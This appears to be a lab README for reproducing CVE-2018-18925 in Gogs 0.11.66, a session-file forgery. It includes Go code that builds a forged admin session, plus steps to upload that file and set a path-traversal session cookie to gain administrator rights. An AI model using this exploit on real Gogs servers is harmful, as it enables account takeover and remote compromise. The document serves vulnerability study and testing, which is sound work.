# Gogs Session Overwrite and Arbitrary User Forge (CVE-2018-18925)
[中文版本(Chinese version)](README.zh-cn.md)
Gogs is a painless self-hosted Git service.
Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a `..` session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.

## Vulnerable environment
Execute following command to start a Gogs server 0.11.66:
```
docker compose up -d
```
After the server is started, you can see the installation page on `http://your-ip:3000`. Follow the instructions to initialize the application, keep in mind that use SQLite as the database provider and enable the user register.
Restart the server by `docker compose restart` after the installation, otherwise the session won't be stored in the filesystem.
## Exploit
Before the exploit, use Gob to generate a evil session file:
```go
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
"os"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
```
Sign up a normal user account, then create a project and upload the generated evil file on release page:

Get the aboslute file path from the attachment URL, for example `./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`.
Finally, construct a malicious session id like `i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10` and you can see that you are administrator (uid=1) now:
